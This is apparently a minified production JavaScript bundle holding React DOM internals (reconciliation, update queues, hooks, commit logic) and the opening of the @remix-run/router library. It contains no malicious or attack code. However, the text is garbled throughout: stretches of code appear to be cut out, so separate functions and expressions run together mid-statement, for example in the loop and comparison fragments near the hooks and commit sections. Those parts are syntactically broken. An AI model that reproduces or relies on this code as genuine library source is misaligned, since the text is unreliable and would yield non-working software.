w=="object"&&w!==null){switch(w.$$typeof){case hl:e:{for(var k=w.key,S=b;S!==null;){if(S.key===k){if(k=w.type,k===ya){if(S.tag===7){n(v,S.sibling),b=i(S,w.props.children),b.return=v,v=b;break e}}else if(S.elementType===k||typeof k=="object"&&k!==null&&k.$$typeof===Kr&&eg(k)===S.type){n(v,S.sibling),b=i(S,w.props),b.ref=zs(v,S,w),b.return=v,v=b;break e}n(v,S);break}else t(v,S);S=S.sibling}w.type===ya?(b=Wi(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=uc(w.type,w.key,w.props,null,v.mode,j),j.ref=zs(v,b,w),j.return=v,v=j)}return o(v);case ga:e:{for(S=w.key;b!==null;){if(b.key===S)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=Uf(w,v.mode,j),b.return=v,v=b}return o(v);case Kr:return S=w._init,y(v,b,S(w._payload),j)}if(Ws(w))return x(v,b,w,j);if(ws(w))return g(v,b,w,j);zl(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Wf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var Ha=Xw(!0),Zw=Xw(!1),_c=bi(null),Oc=null,Ca=null,Fh=null;function Wh(){Fh=Ca=Oc=null}function Uh(e){var t=_c.current;Be(_c),e._currentValue=t}function em(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function Da(e,t){Oc=e,Fh=Ca=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Wt=!0),e.firstContext=null)}function Nn(e){var t=e._currentValue;if(Fh!==e)if(e={context:e,memoizedValue:t,next:null},Ca===null){if(Oc===null)throw Error(Q(308));Ca=e,Oc.dependencies={lanes:0,firstContext:e}}else Ca=Ca.next=e;return t}var Ii=null;function Vh(e){Ii===null?Ii=[e]:Ii.push(e)}function Qw(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,Vh(t)):(n.next=i.next,i.next=n),t.interleaved=n,Sr(e,r)}function Sr(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var qr=!1;function Hh(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function Jw(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function wr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function si(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,Ne&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,Sr(e,n)}return i=r.interleaved,i===null?(t.next=t,Vh(r)):(t.next=i.next,i.next=t),r.interleaved=t,Sr(e,n)}function ic(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Ah(e,n)}}function tg(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,a=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};a===null?i=a=o:a=a.next=o,n=n.next}while(n!==null);a===null?i=a=t:a=a.next=t}else i=a=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:a,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Tc(e,t,n,r){var i=e.updateQueue;qr=!1;var a=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?a=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(a!==null){var f=i.baseState;o=0,d=u=c=null,l=a;do{var m=l.lane,h=l.eventTime;if((r&m)===m){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(m=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,m);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,m=typeof x=="function"?x.call(h,f,m):x,m==null)break e;f=Ge({},f,m);break e;case 2:qr=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,m=i.effects,m===null?i.effects=[l]:m.push(l))}else h={eventTime:h,lane:m,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=m;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;m=l,l=m.next,m.next=null,i.lastBaseUpdate=m,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else a===null&&(i.shared.lanes=0);Xi|=o,e.lanes=o,e.memoizedState=f}}function ng(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=Df.transition;Df.transition={};try{e(!1),t()}finally{Ae=n,Df.transition=r}}function x5(){return Sn().memoizedState}function HC(e,t,n){var r=li(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},v5(e))g5(t,n);else if(n=Qw(e,t,n,r),n!==null){var i=Lt();Bn(n,e,r,i),y5(n,t,r)}}function KC(e,t,n){var r=li(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(v5(e))g5(t,i);else{var a=e.alternate;if(e.lanes===0&&(a===null||a.lanes===0)&&(a=t.lastRenderedReducer,a!==null))try{var o=t.lastRenderedState,l=a(o,n);if(i.hasEagerState=!0,i.eagerState=l,Wn(l,o)){var c=t.interleaved;c===null?(i.next=i,Vh(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=Qw(e,t,i,r),n!==null&&(i=Lt(),Bn(n,e,r,i),y5(n,t,r))}}function v5(e){var t=e.alternate;return e===qe||t!==null&&t===qe}function g5(e,t){Js=Lc=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function y5(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Ah(e,n)}}var Ic={readContext:Nn,useCallback:Et,useContext:Et,useEffect:Et,useImperativeHandle:Et,useInsertionEffect:Et,useLayoutEffect:Et,useMemo:Et,useReducer:Et,useRef:Et,useState:Et,useDebugValue:Et,useDeferredValue:Et,useTransition:Et,useMutableSource:Et,useSyncExternalStore:Et,useId:Et,unstable_isNewReconciler:!1},qC={readContext:Nn,useCallback:function(e,t){return Jn().memoizedState=[e,t===void 0?null:t],e},useContext:Nn,useEffect:ig,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,sc(4194308,4,d5.bind(null,t,e),n)},useLayoutEffect:function(e,t){return sc(4194308,4,e,t)},useInsertionEffect:function(e,t){return sc(4,2,e,t)},useMemo:function(e,t){var n=Jn();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=Jn();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=HC.bind(null,qe,e),[r.memoizedState,e]},useRef:function(e){var t=Jn();return e={current:e},t.memoizedState=e},useState:rg,useDebugValue:Jh,useDeferredValue:function(e){return Jn().memoizedState=e},useTransition:function(){var e=rg(!1),t=e[0];return e=VC.bind(null,e[1]),Jn().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=qe,i=Jn();if(Ve){if(n===void 0)throw Error(Q(407));n=n()}else{if(n=t(),gt===null)throw Error(Q(349));Gi&30||r5(r,t,n)}i.memoizedState=n;var a={value:n,getSnapshot:t};return i.queue=a,ig(a5.bind(null,r,a,e),[e]),r.flags|=2048,yo(9,i5.bind(null,r,a,n,t),void 0,null),n},useId:function(){var e=Jn(),t=gt.identifierPrefix;if(Ve){var n=gr,r=vr;n=(r&~(1<<32-$n(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=vo++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[er]=t,e[mo]=r,E5(e,t,!1,!1),t.stateNode=e;e:{switch(o=Ip(n,r),n){case"dialog":Re("cancel",e),Re("close",e),i=r;break;case"iframe":case"object":case"embed":Re("load",e),i=r;break;case"video":case"audio":for(i=0;iYa&&(t.flags|=128,r=!0,Cs(a,!1),t.lanes=4194304)}else{if(!r)if(e=Mc(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),Cs(a,!0),a.tail===null&&a.tailMode==="hidden"&&!o.alternate&&!Ve)return At(t),null}else 2*nt()-a.renderingStartTime>Ya&&n!==1073741824&&(t.flags|=128,r=!0,Cs(a,!1),t.lanes=4194304);a.isBackwards?(o.sibling=t.child,t.child=o):(n=a.last,n!==null?n.sibling=o:t.child=o,a.last=o)}return a.tail!==null?(t=a.tail,a.rendering=t,a.tail=t.sibling,a.renderingStartTime=nt(),t.sibling=null,n=Ke.current,De(Ke,r?n&1|2:n&1),t):(At(t),null);case 22:case 23:return ax(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?en&1073741824&&(At(t),t.subtreeFlags&6&&(t.flags|=8192)):At(t),null;case 24:return null;case 25:return null}throw Error(Q(156,t.tag))}function tP(e,t){switch($h(t),t.tag){case 1:return qt(t.type)&&Cc(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return Ka(),Be(Kt),Be(Ot),Yh(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return qh(t),null;case 13:if(Be(Ke),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(Q(340));Va()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Be(Ke),null;case 4:return Ka(),null;case 10:return Uh(t.type._context),null;case 22:case 23:return ax(),null;case 24:return null;default:return null}}var Pl=!1,_t=!1,nP=typeof WeakSet=="function"?WeakSet:Set,le=null;function Pa(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){Je(e,t,r)}else n.current=null}function cm(e,t,n){try{n()}catch(r){Je(e,t,r)}}var hg=!1;function rP(e,t){if(Kp=kc,e=Iw(),Dh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,a=r.focusNode;r=r.focusOffset;try{n.nodeType,a.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,m=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==a||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)m=f,f=h;for(;;){if(f===e)break t;if(m===n&&++u===i&&(l=o),m===a&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=m,m=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(qp={focusedElem:e,selectionRange:n},kc=!1,le=t;le!==null;)if(t=le,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,le=e;else for(;le!==null;){t=le;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:Tn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(Q(163))}}catch(j){Je(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,le=e;break}le=t.return}return x=hg,hg=!1,x}function eo(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var a=i.destroy;i.destroy=void 0,a!==void 0&&cm(t,n,a)}i=i.next}while(i!==r)}}function qu(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function um(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function O5(e){var t=e.alternate;t!==null&&(e.alternate=null,O5(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[er],delete t[mo],delete t[Xp],delete t[$C],delete t[BC])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function T5(e){return e.tag===5||e.tag===3||e.tag===4}function xg(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||T5(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function dm(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=zc));else if(r!==4&&(e=e.child,e!==null))for(dm(e,t,n),e=e.sibling;e!==null;)dm(e,t,n),e=e.sibling}function fm(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(fm(e,t,n),e=e.sibling;e!==null;)fm(e,t,n),e=e.sibling}var kt=null,Mn=!1;function Hr(e,t,n){for(n=n.child;n!==null;)M5(e,t,n),n=n.sibling}function M5(e,t,n){if(ir&&typeof ir.onCommitFiberUnmount=="function")try{ir.onCommitFiberUnmount($u,n)}catch{}switch(n.tag){case 5:_t||Pa(n,t);case 6:var r=kt,i=Mn;kt=null,Hr(e,t,n),kt=r,Mn=i,kt!==null&&(Mn?(e=kt,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):kt.removeChild(n.stateNode));break;case 18:kt!==null&&(Mn?(e=kt,n=n.stateNode,e.nodeType===8?Mf(e.parentNode,n):e.nodeType===1&&Mf(e,n),lo(e)):Mf(kt,n.stateNode));break;case 4:r=kt,i=Mn,kt=n.stateNode.containerInfo,Mn=!0,Hr(e,t,n),kt=r,Mn=i;break;case 0:case 11:case 14:case 15:if(!_t&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var a=i,o=a.destroy;a=a.tag,o!==void 0&&(a&2||a&4)&&cm(n,t,o),i=i.next}while(i!==r)}Hr(e,t,n);break;case 1:if(!_t&&(Pa(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){Je(n,t,l)}Hr(e,t,n);break;case 21:Hr(e,t,n);break;case 22:n.mode&1?(_t=(r=_t)||n.memoizedState!==null,Hr(e,t,n),_t=r):Hr(e,t,n);break;default:Hr(e,t,n)}}function vg(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new nP),t.forEach(function(r){var i=fP.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function An(e,t){var n=t.deletions;if(n!==null)for(var r=0;ri&&(i=o),r&=~a}if(r=i,r=nt()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*aP(r/1960))-r,10e?16:e,Jr===null)var r=!1;else{if(e=Jr,Jr=null,$c=0,Ne&6)throw Error(Q(331));var i=Ne;for(Ne|=4,le=e.current;le!==null;){var a=le,o=a.child;if(le.flags&16){var l=a.deletions;if(l!==null){for(var c=0;cnt()-rx?Fi(e,0):nx|=n),Yt(e,t)}function W5(e,t){t===0&&(e.mode&1?(t=yl,yl<<=1,!(yl&130023424)&&(yl=4194304)):t=1);var n=Lt();e=Sr(e,t),e!==null&&(Uo(e,t,n),Yt(e,n))}function dP(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),W5(e,n)}function fP(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(Q(314))}r!==null&&r.delete(t),W5(e,n)}var U5;U5=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Kt.current)Wt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return Wt=!1,JC(e,t,n);Wt=!!(e.flags&131072)}else Wt=!1,Ve&&t.flags&1048576&&qw(t,Ac,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;oc(e,t),e=t.pendingProps;var i=Ua(t,Ot.current);Da(t,n),i=Xh(null,t,r,e,i,n);var a=Zh();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,qt(r)?(a=!0,Pc(t)):a=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,Hh(t),i.updater=Ku,t.stateNode=i,i._reactInternals=t,nm(t,r,e,n),t=am(null,t,r,!0,a,n)):(t.tag=0,Ve&&a&&Rh(t),Tt(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(oc(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=mP(r),e=Tn(r,e),i){case 0:t=im(null,t,r,e,n);break e;case 1:t=fg(null,t,r,e,n);break e;case 11:t=ug(null,t,r,e,n);break e;case 14:t=dg(null,t,r,Tn(r.type,e),n);break e}throw Error(Q(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),im(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),fg(e,t,r,i,n);case 3:e:{if(z5(t),e===null)throw Error(Q(387));r=t.pendingProps,a=t.memoizedState,i=a.element,Jw(e,t),Tc(t,r,null,n);var o=t.memoizedState;if(r=o.element,a.isDehydrated)if(a={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=a,t.memoizedState=a,t.flags&256){i=qa(Error(Q(423)),t),t=pg(e,t,r,n,i);break e}else if(r!==i){i=qa(Error(Q(424)),t),t=pg(e,t,r,n,i);break e}else for(nn=ai(t.stateNode.containerInfo.firstChild),an=t,Ve=!0,Ln=null,n=Zw(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(Va(),r===i){t=zr(e,t,n);break e}Tt(e,t,r,n)}t=t.child}return t;case 5:return e5(t),e===null&&Jp(t),r=t.type,i=t.pendingProps,a=e!==null?e.memoizedProps:null,o=i.children,Yp(r,i)?o=null:a!==null&&Yp(r,a)&&(t.flags|=32),S5(e,t),Tt(e,t,o,n),t.child;case 6:return e===null&&Jp(t),null;case 13:return C5(e,t,n);case 4:return Kh(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=Ha(t,null,r,n):Tt(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),ug(e,t,r,i,n);case 7:return Tt(e,t,t.pendingProps,n),t.child;case 8:return Tt(e,t,t.pendingProps.children,n),t.child;case 12:return Tt(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,a=t.memoizedProps,o=i.value,De(_c,r._currentValue),r._currentValue=o,a!==null)if(Wn(a.value,o)){if(a.children===i.children&&!Kt.current){t=zr(e,t,n);break e}}else for(a=t.child,a!==null&&(a.return=t);a!==null;){var l=a.dependencies;if(l!==null){o=a.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(a.tag===1){c=wr(-1,n&-n),c.tag=2;var u=a.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}a.lanes|=n,c=a.alternate,c!==null&&(c.lanes|=n),em(a.return,n,t),l.lanes|=n;break}c=c.next}}else if(a.tag===10)o=a.type===t.type?null:a.child;else if(a.tag===18){if(o=a.return,o===null)throw Error(Q(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),em(o,n,t),o=a.sibling}else o=a.child;if(o!==null)o.return=a;else for(o=a;o!==null;){if(o===t){o=null;break}if(a=o.sibling,a!==null){a.return=o.return,o=a;break}o=o.return}a=o}Tt(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,Da(t,n),i=Nn(i),r=r(i),t.flags|=1,Tt(e,t,r,n),t.child;case 14:return r=t.type,i=Tn(r,t.pendingProps),i=Tn(r.type,i),dg(e,t,r,i,n);case 15:return k5(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),oc(e,t),t.tag=1,qt(r)?(e=!0,Pc(t)):e=!1,Da(t,n),b5(t,r,i),nm(t,r,i,n),am(null,t,r,!0,e,n);case 19:return P5(e,t,n);case 22:return N5(e,t,n)}throw Error(Q(156,t.tag))};function V5(e,t){return vw(e,t)}function pP(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function wn(e,t,n,r){return new pP(e,t,n,r)}function ox(e){return e=e.prototype,!(!e||!e.isReactComponent)}function mP(e){if(typeof e=="function")return ox(e)?1:0;if(e!=null){if(e=e.$$typeof,e===zh)return 11;if(e===Ch)return 14}return 2}function ci(e,t){var n=e.alternate;return n===null?(n=wn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function uc(e,t,n,r,i,a){var o=2;if(r=e,typeof e=="function")ox(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case ya:return Wi(n.children,i,a,t);case Sh:o=8,i|=8;break;case zp:return e=wn(12,n,t,i|2),e.elementType=zp,e.lanes=a,e;case Cp:return e=wn(13,n,t,i),e.elementType=Cp,e.lanes=a,e;case Pp:return e=wn(19,n,t,i),e.elementType=Pp,e.lanes=a,e;case ew:return Gu(n,i,a,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case Q2:o=10;break e;case J2:o=9;break e;case zh:o=11;break e;case Ch:o=14;break e;case Kr:o=16,r=null;break e}throw Error(Q(130,e==null?e:typeof e,""))}return t=wn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=a,t}function Wi(e,t,n,r){return e=wn(7,e,r,t),e.lanes=n,e}function Gu(e,t,n,r){return e=wn(22,e,r,t),e.elementType=ew,e.lanes=n,e.stateNode={isHidden:!1},e}function Wf(e,t,n){return e=wn(6,e,null,t),e.lanes=n,e}function Uf(e,t,n){return t=wn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function hP(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=kf(0),this.expirationTimes=kf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=kf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function lx(e,t,n,r,i,a,o,l,c){return e=new hP(e,t,n,l,c),t===1?(t=1,a===!0&&(t|=8)):t=0,a=wn(3,null,null,t),e.current=a,a.stateNode=e,a.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},Hh(a),e}function xP(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Y5)}catch(e){console.error(e)}}Y5(),Y2.exports=un;var fx=Y2.exports,Sg=fx;Np.createRoot=Sg.createRoot,Np.hydrateRoot=Sg.hydrateRoot;/** + * @remix-run/router v1.23.2 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function wo(){return wo=Object.assign?Object.assign.bind():function(e){for(var t=1;t"u")throw new Error(t)}function px(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function jP(){return Math.random().toString(36).substr(2,8)}function Cg(e,t){return{usr:e.state,key:e.key,idx:t}}function vm(e,t,n,r){return n===void 0&&(n=null),wo({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?ss(t):t,{state:n,key:t&&t.key||r||jP()})}function Wc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function ss(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function kP(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:a=!1}=r,o=i.history,l=ei.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(wo({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=ei.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function m(y,v){l=ei.Push;let b=vm(g.location,y,v);u=d()+1;let w=Cg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(k){if(k instanceof DOMException&&k.name==="DataCloneError")throw k;i.location.assign(j)}a&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=ei.Replace;let b=vm(g.location,y,v);u=d();let w=Cg(b,u),j=g.createHref(b);o.replaceState(w,"",j),a&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Wc(y);return b=b.replace(/ $/,"%20"),Ye(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(zg,f),c=y,()=>{i.removeEventListener(zg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:m,replace:h,go(y){return o.go(y)}};return g}var Pg;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Pg||(Pg={}));function NP(e,t,n){return n===void 0&&(n="/"),SP(e,t,n)}function SP(e,t,n,r){let i=typeof t=="string"?ss(t):t,a=Ga(i.pathname||"/",n);if(a==null)return null;let o=G5(e);zP(o);let l=null;for(let c=0;l==null&&c{let c={relativePath:l===void 0?a.path||"":l,caseSensitive:a.caseSensitive===!0,childrenIndex:o,route:a};c.relativePath.startsWith("/")&&(Ye(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let 